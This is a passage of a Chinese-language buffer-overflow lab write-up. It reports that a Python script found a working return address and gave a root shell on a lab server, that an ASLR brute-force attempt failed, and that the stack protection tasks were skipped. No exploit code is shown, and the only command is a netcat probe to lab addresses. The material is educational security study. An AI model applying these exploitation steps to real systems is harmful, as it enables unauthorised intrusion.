python运行如下,结果会停在某个地址,表示在此ret地址下可以成功建立连接。

level4-result-1

获取server4 root权限shell:

level4-result-2

Task 6: Experimenting with the Address Randomization

开启ASLR机制后,向server1和server2发送echo hello | nc 10.9.0.* 9090请求,查看rbp和buffer地址。

server1

开启ASLR后server1

server2

image-20231024231535611

可以看出rbp和buffer地址每次都会改变,即ASLR机制会在程序加载时随机化程序在内存地址

尝试暴力破解:(运行17分钟没有爆破成功…)

暴力破解

Tasks 7: Experimenting with Other Countermeasures

  1. Task 7.a: Turn on the StackGuard Protection

    setuid实验已完成此项重复内容,此处不在赘述

  2. Task 7.b: Turn on the Non-executable Stack Protection

    setuid实验已完成此项重复内容,此处不在赘述